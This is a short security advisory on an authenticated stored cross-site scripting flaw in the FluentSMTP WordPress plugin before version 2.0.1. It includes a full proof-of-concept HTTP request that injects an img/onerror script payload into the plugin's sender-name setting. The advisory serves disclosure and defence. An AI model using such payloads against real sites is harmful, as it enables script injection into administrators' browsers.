FluentSMTP < 2.0.1 - Authenticated Stored XSS

The plugin does not sanitize parameters before storing the settings in the database, nor does the plugin escape the values before outputting them when viewing the SMTP settings set by this plugin, leading to a stored cross site scripting (XSS) vulnerability. Only users with roles capable of managing plugins can modify the plugin’s settings.

PoC

PoC ------------------------------ connection[sender_name]=here ------------------------------ Full Request PoC ------------------------------ POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.example.com:8000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 Accept: / Accept-Language: ja,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://target.example.com:8000/wp-admin/options-general.php?page=fluent-mail Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 377 Origin: http://target.example.com:8000 DNT: 1 Connection: close Cookie: [admin cookies] connection%5Bsender_name%5D=%3Cs%3Ehere%3C%2Fs%3E%3Cimg+src%3D1+onerror%3Dalert(%2FXSS%2F)%3E&connection;%5Bsender_email%5D=test%40example.com&connection;%5Bforce_from_name%5D=no&connection;%5Bforce_from_email%5D=yes&connection;%5Breturn_path%5D=yes&connection;%5Bkey_store%5D=db&connection;%5Bprovider%5D=default&connection;_key=false&action;=fluentmail-post-settings&nonce;=64447f740d ------------------------------